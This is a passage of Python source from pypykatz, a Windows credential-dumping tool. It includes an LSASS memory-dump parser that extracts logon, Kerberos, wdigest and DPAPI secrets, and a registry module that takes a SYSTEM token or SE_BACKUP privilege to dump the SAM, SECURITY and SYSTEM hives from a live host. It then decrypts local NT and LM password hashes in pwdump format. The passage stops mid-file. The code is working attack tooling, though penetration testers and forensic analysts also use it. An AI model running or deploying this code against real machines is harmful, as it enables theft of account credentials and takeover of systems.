113 buff: io.BytesIO object
114 """
115 minidump = MinidumpFile.parse_buff(buff)
116 reader = minidump.get_reader().get_buffered_reader()
117 sysinfo = KatzSystemInfo.from_minidump(minidump)
118 mimi = pypykatz(reader, sysinfo)
119 mimi.start()
120 return mimi
121
122 @staticmethod
123 def parse_memory_dump_rekall(filename, override_timestamp = None):
124 from pypykatz.commons.readers.rekall.rekallreader import RekallReader
125 reader = RekallReader.from_memory_file(filename, override_timestamp)
126 sysinfo = KatzSystemInfo.from_rekallreader(reader)
127 mimi = pypykatz(reader, sysinfo)
128 mimi.start()
129 return mimi
130
131 @staticmethod
132 def go_rekall(session, override_timestamp = None, buildnumber = None):
133 from pypykatz.commons.readers.rekall.rekallreader import RekallReader
134 reader = RekallReader.from_session(session, override_timestamp, buildnumber)
135 sysinfo = KatzSystemInfo.from_rekallreader(reader)
136 mimi = pypykatz(reader, sysinfo)
137 mimi.start()
138 return mimi
139
140 @staticmethod
141 def go_volatility3(vol3_obj):
142 from pypykatz.commons.readers.volatility3.volreader import Vol3Reader, vol3_treegrid
143 reader = Vol3Reader(vol3_obj)
144 sysinfo = reader.get_sysinfo()
145 mimi = pypykatz(reader, sysinfo)
146 mimi.start()
147 return vol3_treegrid(mimi)
148
149
150 def log_basic_info(self):
151 """
152 In case of error, please attach this to the issues page
153 """
154 logger.info('===== BASIC INFO. SUBMIT THIS IF THERE IS AN ISSUE =====')
155 logger.info('pypyKatz version: %s' % __version__)
156 logger.info('CPU arch: %s' % self.sysinfo.architecture.name)
157 logger.info('OS: %s' % self.sysinfo.operating_system)
158 logger.info('BuildNumber: %s' % self.sysinfo.buildnumber)
159 logger.info('MajorVersion: %s ' % self.sysinfo.major_version)
160 logger.info('MSV timestamp: %s' % self.sysinfo.msv_dll_timestamp)
161 logger.info('===== BASIC INFO END =====')
162
163 def get_logoncreds(self):
164 credman_template = CredmanTemplate.get_template(self.sysinfo)
165 msv_template = MsvTemplate.get_template(self.sysinfo)
166 logoncred_decryptor = MsvDecryptor(self.reader, msv_template, self.lsa_decryptor, credman_template, self.sysinfo)
167 logoncred_decryptor.start()
168 self.logon_sessions = logoncred_decryptor.logon_sessions
169
170 def get_lsa_bruteforce(self):
171 #good luck!
172 logger.info('Testing all available templates! Expect warnings!')
173 for lsa_dec_template in LsaTemplate.get_template_brute(self.sysinfo):
174 try:
175 lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo)
176 logger.debug(lsa_dec.dump())
177 except:
178 pass
179 else:
180 logger.info('Lucky you! Brutefoce method found a -probably- working template!')
181 return lsa_dec
182
183 def get_lsa(self):
184 #trying with automatic template detection
185 try:
186 lsa_dec_template = LsaTemplate.get_template(self.sysinfo)
187 lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo)
188 logger.debug(lsa_dec.dump())
189 except:
190 logger.exception('Failed to automatically detect correct LSA template!')
191 lsa_dec = self.get_lsa_bruteforce()
192 if lsa_dec is None:
193 raise Exception('All detection methods failed.')
194 return lsa_dec
195 else:
196 return lsa_dec
197
198 def get_wdigest(self):
199 decryptor_template = WdigestTemplate.get_template(self.sysinfo)
200 decryptor = WdigestDecryptor(self.reader, decryptor_template, self.lsa_decryptor, self.sysinfo)
201 decryptor.start()
202 for cred in decryptor.credentials:
203 if cred.luid in self.logon_sessions:
204 self.logon_sessions[cred.luid].wdigest_creds.append(cred)
205 else:
206 self.orphaned_creds.append(cred)
207
208 def get_tspkg(self):
209 tspkg_dec_template = TspkgTemplate.get_template(self.sysinfo)
210 tspkg_dec = TspkgDecryptor(self.reader,tspkg_dec_template, self.lsa_decryptor, self.sysinfo)
211 tspkg_dec.start()
212 for cred in tspkg_dec.credentials:
213 if cred.luid in self.logon_sessions:
214 self.logon_sessions[cred.luid].tspkg_creds.append(cred)
215 else:
216 self.orphaned_creds.append(cred)
217
218 def get_ssp(self):
219 dec_template = SspTemplate.get_template(self.sysinfo)
220 dec = SspDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo)
221 dec.start()
222 for cred in dec.credentials:
223 if cred.luid in self.logon_sessions:
224 self.logon_sessions[cred.luid].ssp_creds.append(cred)
225 else:
226 self.orphaned_creds.append(cred)
227
228 def get_livessp(self):
229 livessp_dec_template = LiveSspTemplate.get_template(self.sysinfo)
230 livessp_dec = LiveSspDecryptor(self.reader, livessp_dec_template, self.lsa_decryptor, self.sysinfo)
231 livessp_dec.start()
232 for cred in livessp_dec.credentials:
233 if cred.luid in self.logon_sessions:
234 self.logon_sessions[cred.luid].livessp_creds.append(cred)
235 else:
236 self.orphaned_creds.append(cred)
237
238 def get_dpapi(self):
239 dec_template = DpapiTemplate.get_template(self.sysinfo)
240 dec = DpapiDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo)
241 dec.start()
242 for cred in dec.credentials:
243 if cred.luid in self.logon_sessions:
244 self.logon_sessions[cred.luid].dpapi_creds.append(cred)
245 else:
246 self.orphaned_creds.append(cred)
247
248 def get_kerberos(self):
249 dec_template = KerberosTemplate.get_template(self.sysinfo)
250 dec = KerberosDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo)
251 dec.start()
252 for cred in dec.credentials:
253 for ticket in cred.tickets:
254 for fn in ticket.kirbi_data:
255 self.kerberos_ccache.add_kirbi(ticket.kirbi_data[fn].native)
256
257 if cred.luid in self.logon_sessions:
258 self.logon_sessions[cred.luid].kerberos_creds.append(cred)
259 else:
260 self.orphaned_creds.append(cred)
261
262 def start(self):
263 #self.log_basic_info()
264 #input()
265 self.lsa_decryptor = self.get_lsa()
266 self.get_logoncreds()
267 self.get_wdigest()
268 self.get_kerberos()
269 self.get_tspkg()
270 self.get_ssp()
271 self.get_livessp()
272 self.get_dpapi()
0 import logging
1
2 logger = logging.getLogger('pypykatz')
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import os
7 import json
8 import glob
9 import ntpath
10 import traceback
11
12 from pypykatz import logging
13 from pypykatz.commons.common import UniversalEncoder
14
15
16
17 class RegistryCMDHelper:
18 def __init__(self):
19 self.live_keywords = ['registry']
20 self.keywords = ['registry']
21
22 def add_args(self, parser, live_parser):
23 live_group = live_parser.add_parser('registry', help='Get all secrets from registry')
24 live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
25 live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
26
27 group = parser.add_parser('registry', help='Get secrets from registry files')
28 group.add_argument('system', help='path to the SYSTEM registry hive')
29 group.add_argument('--sam', help='path to the SAM registry hive')
30 group.add_argument('--security', help='path to the SECURITY registry hive')
31 group.add_argument('--software', help='path to the SOFTWARE registry hive')
32 group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
33 group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
34
35 def execute(self, args):
36 if len(self.keywords) > 0 and args.command in self.keywords:
37 self.run(args)
38
39 if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
40 self.run_live(args)
41
42 def process_results(self, results, args):
43 if args.outfile:
44 results.to_file(args.outfile, args.json)
45 else:
46 if args.json:
47 print(json.dumps(results.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True))
48 else:
49 print(str(results))
50
51 def run_live(self, args):
52 from pypykatz.registry.live_parser import LiveRegistry
53 lr = None
54 try:
55 lr = LiveRegistry.go_live()
56 except Exception as e:
57 traceback.print_exc()
58 logging.debug('Failed to obtain registry secrets via direct registry reading method. Reason: %s' % str(e))
59 try:
60 from pypykatz.registry.offline_parser import OffineRegistry
61 lr = OffineRegistry.from_live_system()
62 except Exception as e:
63 logging.debug('Failed to obtain registry secrets via filedump method')
64
65 if lr is not None:
66 self.process_results(lr, args)
67 else:
68 print('Registry parsing failed!')
69
70 def run(self, args):
71 from pypykatz.registry.offline_parser import OffineRegistry
72 po = OffineRegistry.from_files(args.system, args.sam, args.security, args.software)
73
74 self.process_results(po, args)
75
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import platform
6 if platform.system() != 'Windows':
7 raise Exception('This will ONLY work on Windows systems!')
8
9 import json
10
11 from pypykatz.commons.readers.registry.live.reader import LiveRegistryHive
12 from pypykatz.registry import logger
13 from pypykatz.registry.sam.sam import *
14 from pypykatz.registry.security.security import *
15 from pypykatz.registry.system.system import *
16 from pypykatz.registry.software.software import *
17
18 from pypykatz.commons.winapi.processmanipulator import ProcessManipulator
19 from pypykatz.commons.common import UniversalEncoder
20
21
22 class LiveRegistry:
23 """
24 This class represents the Registry hives that are currently on the live system.
25 Use this in case you have at least Administrative privileges on a comp where pypykatz is running
26 """
27 def __init__(self):
28 self.sam_hive = None
29 self.security_hive = None
30 self.system_hive = None
31 self.software_hive = None
32
33 self.system = None
34 self.sam = None
35 self.security = None
36 self.software = None
37
38 def get_secrets(self):
39 """
40 For obtaining all secrets from the registry on-the-fly, SYSTEM user MUST be used!
41 In case this is not achievable, Administrator can be used to first dump the registry hives to disk, then parse them offline
42 There is a 3rd way: As administrator you can obtain SE_TAKE_OWNERSHIP privileges, then you can open any hive with the WRITE_OWNER permission.
43 After doing that you'd need to change the SID of each target hive to include the administrator user with full access.
44 This is so intrusive I'm not implementing that, if you mess that up your computer will turn to potato. Like literally... (also it's a lot of work)
45 """
46 pm = ProcessManipulator()
47 try:
48 #getting a SYSTEM token...
49 pm.assign_token_thread_sid()
50 except Exception as e:
51 logger.error('Failed to obtain SYSTEM prvis. On-the-fly parsing is not possible.')
52 raise e
53 else:
54 self.system = SYSTEM(self.system_hive)
55 bootkey = self.system.get_bootkey()
56
57 if self.sam_hive:
58 self.sam = SAM(self.sam_hive, bootkey)
59 self.sam.get_secrets()
60
61 if self.security_hive:
62 self.security = SECURITY(self.security_hive, bootkey)
63 self.security.get_secrets()
64
65 if self.software_hive:
66 try:
67 self.software = SOFTWARE(self.software_hive, bootkey)
68 self.software.get_default_logon()
69 except Exception as e:
70 logger.warning('Failed to parse SOFTWARE hive. Reason: %s' % str(e))
71 self.cleanup()
72
73 def cleanup(self):
74 for hive in [self.system_hive, self.security_hive, self.sam_hive]:
75 try:
76 hive.close()
77 except:
78 pass
79
80 def to_file(self, file_path, json_format = False):
81 with open(file_path, 'w', newline = '') as f:
82 if json_format == False:
83 f.write(str(self))
84 else:
85 f.write(self.to_json())
86
87 def to_json(self):
88 return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)
89
90 def to_dict(self):
91 t = {}
92 t['SYSTEM'] = self.system.to_dict()
93 if self.sam:
94 t['SAM'] = self.sam.to_dict()
95 if self.security:
96 t['SECURITY'] = self.security.to_dict()
97 if self.software:
98 t['SOFTWARE'] = self.software.to_dict()
99 return t
100
101 def __str__(self):
102 t = str(self.system)
103 if self.sam:
104 t += str(self.sam)
105 if self.security:
106 t += str(self.security)
107 return t
108
109 @staticmethod
110 def go_live():
111 lr = LiveRegistry()
112 lr.sam_hive = LiveRegistryHive('SAM')
113 lr.system_hive = LiveRegistryHive('SYSTEM')
114 lr.security_hive = LiveRegistryHive('SECURITY')
115 lr.software_hive = LiveRegistryHive('SOFTWARE')
116
117 lr.get_secrets()
118 return lr
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import json
7 from aiowinreg.hive import AIOWinRegHive
8
9 from pypykatz.registry import logger
10 from pypykatz.commons.common import UniversalEncoder
11 from pypykatz.registry.sam.sam import *
12 from pypykatz.registry.security.security import *
13 from pypykatz.registry.system.system import *
14 from pypykatz.registry.software.software import *
15
16
17 class OffineRegistry:
18 """
19 This class represents an offline registry
20 You will need to set at least the SYSTEM hive (to get bootkey)
21 In case you have the SAM and/or SECURITY hives, it will parse them for the stored credentials/secrets as well.
22 """
23 def __init__(self):
24 self.sam_hive = None
25 self.security_hive = None
26 self.system_hive = None
27 self.software_hive = None
28
29 self.system = None
30 self.sam = None
31 self.security = None
32 self.software = None
33
34 def get_secrets(self):
35 self.system = SYSTEM(self.system_hive)
36 bootkey = self.system.get_bootkey()
37
38 if self.sam_hive:
39 self.sam = SAM(self.sam_hive, bootkey)
40 self.sam.get_secrets()
41
42 if self.security_hive:
43 self.security = SECURITY(self.security_hive, bootkey)
44 self.security.get_secrets()
45
46 if self.software_hive:
47 self.software = SOFTWARE(self.software_hive, bootkey)
48 self.software.get_default_logon()
49
50 self.cleanup()
51
52 def cleanup(self):
53 for hive in [self.system_hive, self.security_hive, self.sam_hive]:
54 try:
55 hive.close()
56 except:
57 pass
58
59 def to_file(self, file_path, json_format = False):
60 with open(file_path, 'w', newline = '') as f:
61 if json_format == False:
62 f.write(str(self))
63 else:
64 f.write(self.to_json())
65
66 def to_json(self):
67 return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)
68
69 def to_dict(self):
70 t = {}
71 t['SYSTEM'] = self.system.to_dict()
72 if self.sam:
73 t['SAM'] = self.sam.to_dict()
74 if self.security:
75 t['SECURITY'] = self.security.to_dict()
76 if self.software:
77 t['SOFTWARE'] = self.software.to_dict()
78 return t
79
80
81 def __str__(self):
82 t = str(self.system)
83 if self.sam:
84 t += str(self.sam)
85 if self.security:
86 t += str(self.security)
87 if self.software:
88 t += str(self.software)
89 return t
90
91 @staticmethod
92 def from_bytes(system_data, sam_data = None, security_data = None, software_data = None):
93 system_buff = io.BytesIO(system_data)
94 sam_buff = None
95 security_buff = None
96 software_buff = None
97
98 if sam_data:
99 sam_buff = io.BytesIO(sam_data)
100 if security_data:
101 security_buff = io.BytesIO(security_data)
102 if software_data:
103 software_buff = io.BytesIO(software_data)
104
105 return OffineRegistry.from_buffer(system_buff, sam_buff = sam_buff, security_buff = security_buff, software_buff = software_buff)
106
107 @staticmethod
108 def from_buffer(system_buff, sam_buff = None, security_buff = None, software_buff = None):
109 return OffineRegistry.from_files(system_buff, sam_path = sam_buff, security_path = security_buff, software_path = software_buff, notfile = True)
110
111 @staticmethod
112 def from_files(system_path, sam_path = None, security_path = None, software_path = None, notfile = False):
113 po = OffineRegistry()
114
115 try:
116 if notfile == True:
117 sys_hive = system_path
118 else:
119 sys_hive = open(system_path, 'rb')
120 po.system_hive = AIOWinRegHive(sys_hive)
121 except Exception as e:
122 logger.error('Failed to open SYSTEM hive! Reason: %s' % str(e))
123 raise e
124
125 if sam_path:
126 try:
127 if notfile == True:
128 sam_hive = sam_path
129 else:
130 sam_hive = open(sam_path, 'rb')
131
132 po.sam_hive = AIOWinRegHive(sam_hive)
133 except Exception as e:
134 logger.error('Failed to open SAM hive! Reason: %s' % str(e))
135 raise e
136
137 else:
138 logger.warning('SAM hive path not supplied! Parsing SAM will not work')
139
140 if security_path:
141 try:
142 if notfile == True:
143 sec_hive = security_path
144 else:
145 sec_hive = open(security_path, 'rb')
146 po.security_hive = AIOWinRegHive(sec_hive)
147 except Exception as e:
148 logger.error('Failed to open SECURITY hive! Reason: %s' % str(e))
149 raise e
150
151 else:
152 logger.warning('SECURITY hive path not supplied! Parsing SECURITY will not work')
153
154 if software_path:
155 try:
156 if notfile == True:
157 sof_hive = software_path
158 else:
159 sof_hive = open(software_path, 'rb')
160
161 po.software_hive = AIOWinRegHive(sof_hive)
162 except Exception as e:
163 logger.error('Failed to open SECURITY hive! Reason: %s' % str(e))
164 raise e
165
166 else:
167 logger.warning('SOFTWARE hive path not supplied! Parsing SOFTWARE will not work')
168
169
170 po.get_secrets()
171 try:
172 sec_hive.close()
173 except:
174 pass
175 try:
176 sam_hive.close()
177 except:
178 pass
179 try:
180 sys_hive.close()
181 except:
182 pass
183 try:
184 sof_hive.close()
185 except:
186 pass
187
188 return po
189
190 @staticmethod
191 def from_live_system():
192 logger.debug('Obtaining registry from local system')
193 try:
194 from pypykatz.commons.winapi.processmanipulator import ProcessManipulator
195 from pypykatz.commons.winapi.constants import SE_BACKUP
196 import winreg
197 import tempfile
198 import os
199 import ntpath
200 except Exception as e:
201 logger.error('Could not import necessary packages! Are you on Windows? Error: %s' % str(e))
202 raise
203
204 sam_name = ntpath.join(tempfile.gettempdir(), os.urandom(4).hex())
205 system_name = ntpath.join(tempfile.gettempdir(), os.urandom(4).hex())
206 security_name = ntpath.join(tempfile.gettempdir(), os.urandom(4).hex())
207
208 locations = [
209 ('SAM', sam_name),
210 ('SYSTEM', system_name),
211 ('SECURITY', security_name),
212 ]
213
214 logger.debug('Obtaining SE_BACKUP privilege...')
215 try:
216 po = ProcessManipulator()
217 po.set_privilege(SE_BACKUP)
218 except Exception as e:
219 logger.error('Failed to obtain SE_BACKUP privilege! Registry dump will not work! Reason: %s' % str(e))
220 raise e
221 logger.debug('Obtaining SE_BACKUP OK!')
222
223 dumped_names = {}
224 for reg_name, location in locations:
225 logger.debug('Dumping %s...' % reg_name)
226 try:
227 key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, reg_name, access=0x00020000)
228 winreg.SaveKey(key, location)
229 key.Close()
230 except Exception as e:
231 logger.error('Dumping %s FAILED!! Reason: %s' % (reg_name, str(e)))
232 else:
233 logger.debug('Dumping %s OK!' % reg_name)
234 dumped_names[reg_name] = location
235 ###
236 ### Do Parsing here!
237 ###
238 po = None
239 if 'SYSTEM' in dumped_names:
240 try:
241 po = OffineRegistry.from_files(system_name, sam_name if 'SAM' in dumped_names else None, security_name if 'SECURITY' in dumped_names else None)
242 except Exception as e:
243 import traceback
244 traceback.print_exc()
245 else:
246 logger.error('Failed to dump SYSTEM hive, exiting...')
247
248 logger.debug('Cleaning up temp files')
249 for reg_name, location in locations:
250 try:
251 os.remove(location)
252 except Exception as e:
253 logger.error('Failed to clean up temp file for %s! Sensitive files might have been left on the filesystem! Path: %s Reason: %s' % (reg_name, location, str(e)))
254 else:
255 logger.debug('Cleanup for %s OK!' % reg_name)
256
257 return po
258
259 if __name__ == '__main__':
260 po = OffineRegistry.from_live_system()
261 print(str(po))
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 class SAMSecret:
7 def __init__(self, username, rid, nt_hash, lm_hash):
8 self.username = username
9 self.rid = rid
10 self.nt_hash = nt_hash
11 self.lm_hash = lm_hash
12
13 def to_dict(self):
14 return {
15 'username' : self.username,
16 'rid' : self.rid,
17 'nt_hash' : self.nt_hash,
18 'lm_hash' : self.lm_hash,
19 }
20
21 def to_json(self):
22 return json.dumps(self.to_dict())
23
24 def to_lopth(self):
25 return '%s:%s:%s:%s:::' % (self.username, self.rid, self.lm_hash.hex(), self.nt_hash.hex())
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import hashlib
6 import hmac
7 import io
8 from pypykatz.registry.sam.structures import *
9 from pypykatz.crypto.RC4 import RC4
10 from pypykatz.crypto.aes import AESModeOfOperationCBC
11 from pypykatz.crypto.des import des, expand_DES_key
12
13 #####
14 from pypykatz.registry.sam.structures import *
15 from pypykatz.registry.sam.common import *
16 from pypykatz.registry import logger
17 from pypykatz.commons.win_datatypes import SID
18
19 #
20 # The SAM hive holds the hashed passwords of the LOCAL machine users
21 # There are alwas some local users present on your machine, regardless if it's domain-enrolled
22 #
23 # Depending on the Windows version, the strucutres and the way to decrypt the hashes differs.
24 # The class needs to have the bootkey (see SYSTEM hive) to be able to decrypt the hashes
25 #
26
27 class SAM:
28 def __init__(self, sam_hive, bootkey):
29 self.hive = sam_hive
30 self.bootkey = bootkey
31 self.hashed_bootkey = None
32 self.machine_sid = None
33 self.secrets = []
34
35 @staticmethod
36 def rid_to_key(rid):
37 key = int(rid, 16).to_bytes(4, 'little', signed = False)
38 key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]]
39 key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]]
40 return expand_DES_key(bytes(key1)),expand_DES_key(bytes(key2))
41
42 def decrypt_hash(self, rid, hashobj, constant):
43 key1, key2 = SAM.rid_to_key(rid)
44 des1 = des(key1)
45 des2 = des(key2)
46
47 if isinstance(hashobj, SAM_HASH):
48 rc4key = hashlib.md5( self.hashed_bootkey[:0x10] + int(rid, 16).to_bytes(4, 'little', signed = False) + constant ).digest()
49 key = RC4(rc4key).encrypt(hashobj.hash)
50
51 else:
52 key = b''
53 cipher = AESModeOfOperationCBC(self.hashed_bootkey[:0x10], iv = hashobj.salt)
54 n = 16
55 for block in [hashobj.data[i:i+n] for i in range(0, len(hashobj.data), n)]: #terrible, terrible workaround
56 key += cipher.decrypt(block)
57
58 key = key[:16]
59
60 dec_hash = des1.decrypt(key[:8]) + des2.decrypt(key[8:])
61 return dec_hash
62
63 def get_HBoot_key(self):
64 logger.debug('SAM parsing hashed bootkey')
65 QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
66 DIGITS = b"0123456789012345678901234567890123456789\0"
67
68 F = self.hive.get_value(r'SAM\Domains\Account\F')[1]
69 logger.log(1,'[SAM] F key value: %s' % F)
70
71 domain_properties = DOMAIN_ACCOUNT_F.from_bytes(F)
72
73 if isinstance(domain_properties.key_0, SAM_KEY_DATA):
74 rc4_key = hashlib.md5(domain_properties.key_0.salt + QWERTY + self.bootkey +DIGITS).digest()
75 self.hashed_bootkey = RC4(rc4_key).encrypt(domain_properties.key_0.key + domain_properties.key_0.checksum)
76
77 checksum = hashlib.md5(self.hashed_bootkey[:16] + DIGITS + self.hashed_bootkey[:16] + QWERTY).digest()
78
79 if checksum != self.hashed_bootkey[16:]:
80 logger.error('[SAM] HBootkey checksum verification failed!')
81 raise Exception('[SAM] HBootkey checksum verification failed!')
82
83 elif isinstance(domain_properties.key_0, SAM_KEY_DATA_AES):
84 self.hashed_bootkey = b''
85 cipher = AESModeOfOperationCBC(self.bootkey, iv = domain_properties.key_0.salt)
86 n = 16
87 for block in [domain_properties.key_0.data[i:i+n] for i in range(0, len(domain_properties.key_0.data), n)]: #terrible, terrible workaround
88 self.hashed_bootkey += cipher.decrypt(block)
89
90 logger.debug('[SAM] HBootkey: %s' % self.hashed_bootkey.hex())
91 return self.hashed_bootkey
92
93 def get_machine_sid(self):
94 # https://social.technet.microsoft.com/Forums/en-US/de8ff30b-6986-4aad-bcde-12bb5e66fe86/the-computer-sid-with-windows-7?forum=winserverDS
95 # TODO: implement this
96 try:
97 uac_data = self.hive.get_value('SAM\\Domains\\Account\\V')[1]
98 uac_data = uac_data[-12:]
99 p1 = int.from_bytes( uac_data[:4], 'little', signed = False)
100 p2 = int.from_bytes( uac_data[4:8], 'little', signed = False)
101 p3 = int.from_bytes(uac_data[8:12], 'little', signed = False)
102 self.machine_sid = '%s-%s-%s-%s' % ('S-1-5-21', p1, p2, p3)
103 except Exception as e:
104 import traceback
105 traceback.print_exc()
106 return self.machine_sid
107
108 def get_secrets(self):
109 logger.debug('SAM get_secrets invoked')
110 NTPASSWORD = b"NTPASSWORD\0"
111 LMPASSWORD = b"LMPASSWORD\0"
112
113 NTDEFAULT = '31d6cfe0d16ae931b73c59d7e0c089c0'
114 LMDEFAULT = 'aad3b435b51404eeaad3b435b51404ee'
115
116 self.get_HBoot_key()
117 self.get_machine_sid()
118
119 for rid in self.hive.enum_key('SAM\\Domains\\Account\\Users'):
120 uac = None
121 if rid == 'Names':
122 continue
123
124 key_path = 'SAM\\Domains\\Account\\Users\\%s\\V' % rid
125 logger.debug('[SAM] Parsing secrets for RID: %s' % rid)
126 uac_data = self.hive.get_value(key_path)[1]
127 uac = USER_ACCOUNT_V.from_bytes(uac_data)
128
129 nthash = bytes.fromhex(NTDEFAULT)
130 lmhash = bytes.fromhex(LMDEFAULT)
131 if uac.NT_hash and isinstance(uac.NT_hash, SAM_HASH_AES):
132 if uac.NT_hash.data != b'':
133 nthash = self.decrypt_hash(rid, uac.NT_hash, NTPASSWORD)
134 elif uac.NT_hash and isinstance(uac.NT_hash, SAM_HASH):
135 if uac.NT_hash.hash != b'':
136 nthash = self.decrypt_hash(rid, uac.NT_hash, NTPASSWORD)
137
138 if uac.LM_hash and isinstance(uac.LM_hash, SAM_HASH_AES):
139 if uac.LM_hash.data != b'':
140 lmhash = self.decrypt_hash(rid, uac.LM_hash, LMPASSWORD)
141
142 elif uac.LM_hash and isinstance(uac.LM_hash, SAM_HASH):
143 if uac.LM_hash.hash != b'':
144 lmhash = self.decrypt_hash(rid, uac.LM_hash, LMPASSWORD)
145
146 secret = SAMSecret(uac.name, int(rid,16), nthash, lmhash)
147 self.secrets.append(secret)
148
149 return self.secrets
150
151 def to_dict(self):
152 t = {}
153 t['HBoot_key'] = self.hashed_bootkey
154 t['local_users'] = []
155 for secret in self.secrets:
156 t['local_users'].append( secret.to_dict())
157 return t
158
159 def __str__(self):
160 t = '============== SAM hive secrets ==============\r\n'
161 t += 'HBoot Key: %s\r\n' % self.hashed_bootkey.hex()
162 for secret in self.secrets:
163 t += '%s\r\n' % secret.to_lopth()
164 return t
165
166
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import io
7
8 class DOMAIN_ACCOUNT_F:
9 def __init__(self):
10 self.revision = None
11 self.unk1 = None
12 self.creation_time = None
13 self.domain_modified_count = None
14 self.max_pw_age = None
15 self.min_pw_age = None
16 self.force_logoff = None
17 self.lockout_duration = None
18 self.lockout_observation_window = None
19 self.unk2 = None
20 self.next_rid = None
21 self.pw_properties = None
22 self.min_pw_length = None
23 self.pw_history_length = None
24 self.lockout_treshold = None
25 self.unk3 = None
26 self.server_state = None
27 self.server_role = None
28 self.uas_compatibility_req = None
29 self.unk4 = None
30 self.key_0 = None
31
32 @staticmethod
33 def from_bytes(data):
34 return DOMAIN_ACCOUNT_F.from_buffer(io.BytesIO(data))
35
36 @staticmethod
37 def from_buffer(buff):
38 df = DOMAIN_ACCOUNT_F()
39 df.revision = int.from_bytes(buff.read(4), 'little', signed = False)
40 df.unk1 = int.from_bytes(buff.read(4), 'little', signed = False)
41 df.creation_time = int.from_bytes(buff.read(8), 'little', signed = False)
42 df.domain_modified_count = int.from_bytes(buff.read(8), 'little', signed = False)
43 df.max_pw_age = int.from_bytes(buff.read(8), 'little', signed = False)
44 df.min_pw_age = int.from_bytes(buff.read(8), 'little', signed = False)
45 df.force_logoff = int.from_bytes(buff.read(8), 'little', signed = False)
46 df.lockout_duration = int.from_bytes(buff.read(8), 'little', signed = False)
47 df.lockout_observation_window = int.from_bytes(buff.read(8), 'little', signed = False)
48 df.unk2 = int.from_bytes(buff.read(8), 'little', signed = False)
49 df.next_rid = int.from_bytes(buff.read(4), 'little', signed = False)
50 df.pw_properties = int.from_bytes(buff.read(4), 'little', signed = False)
51 df.min_pw_length = int.from_bytes(buff.read(2), 'little', signed = False)
52 df.pw_history_length = int.from_bytes(buff.read(2), 'little', signed = False)
53 df.lockout_treshold = int.from_bytes(buff.read(2), 'little', signed = False)
54 df.unk3 = int.from_bytes(buff.read(2), 'little', signed = False)
55 df.server_state = int.from_bytes(buff.read(4), 'little', signed = False)
56 df.server_role = int.from_bytes(buff.read(2), 'little', signed = False)
57 df.uas_compatibility_req = int.from_bytes(buff.read(2), 'little', signed = False)
58 df.unk4 = int.from_bytes(buff.read(8), 'little', signed = False)
59
60 pos = buff.tell()
61 marker = buff.read(1)
62 buff.seek(pos,0)
63 if marker == b'\x01':
64 df.key_0 = SAM_KEY_DATA.from_buffer(buff)
65 elif marker == b'\x02':
66 df.key_0 = SAM_KEY_DATA_AES.from_buffer(buff)
67 return df
68
69 def __str__(self):
70 t = '== DOMAIN_ACCOUNT_F ==\r\n'
71 for k in self.__dict__:
72 if isinstance(self.__dict__[k], list):
73 for i, item in enumerate(self.__dict__[k]):
74 t += ' %s: %s: %s' % (k, i, str(item))
75 else:
76 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
77 return t
78
79 class SAM_KEY_DATA:
80 def __init__(self):
81 self.revision = None
82 self.length = None
83 self.salt = None
84 self.key = None
85 self.checksum = None
86 self.reserved = None
87
88 @staticmethod
89 def from_bytes(data):
90 return SAM_KEY_DATA.from_buffer(io.BytesIO(data))
91
92 @staticmethod
93 def from_buffer(buff):
94 sk = SAM_KEY_DATA()
95 sk.revision = int.from_bytes(buff.read(4), 'little', signed = False)
96 sk.length = int.from_bytes(buff.read(4), 'little', signed = False)
97 sk.salt = buff.read(16)
98 sk.key = buff.read(16)
99 sk.checksum = buff.read(16)
100 sk.reserved = int.from_bytes(buff.read(8), 'little', signed = False)
101 return sk
102
103 def __str__(self):
104 t = '== SAM_KEY_DATA ==\r\n'
105 for k in self.__dict__:
106 if isinstance(self.__dict__[k], list):
107 for i, item in enumerate(self.__dict__[k]):
108 t += ' %s: %s: %s' % (k, i, str(item))
109 else:
110 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
111 return t
112
113 class SAM_KEY_DATA_AES:
114 def __init__(self):
115 self.revision = None
116 self.length = None
117 self.checksum_length = None
118 self.data_length = None
119 self.salt = None
120 self.data = None
121
122 @staticmethod
123 def from_bytes(data):
124 return SAM_KEY_DATA_AES.from_buffer(io.BytesIO(data))
125
126 @staticmethod
127 def from_buffer(buff):
128 sk = SAM_KEY_DATA_AES()
129 sk.revision = int.from_bytes(buff.read(4), 'little', signed = False)
130 sk.length = int.from_bytes(buff.read(4), 'little', signed = False)
131 sk.checksum_length = int.from_bytes(buff.read(4), 'little', signed = False)
132 sk.data_length = int.from_bytes(buff.read(4), 'little', signed = False)
133 sk.salt = buff.read(16)
134 sk.data = buff.read(sk.data_length)
135 return sk
136
137 def __str__(self):
138 t = '== SAM_KEY_DATA_AES ==\r\n'
139 for k in self.__dict__:
140 if isinstance(self.__dict__[k], list):
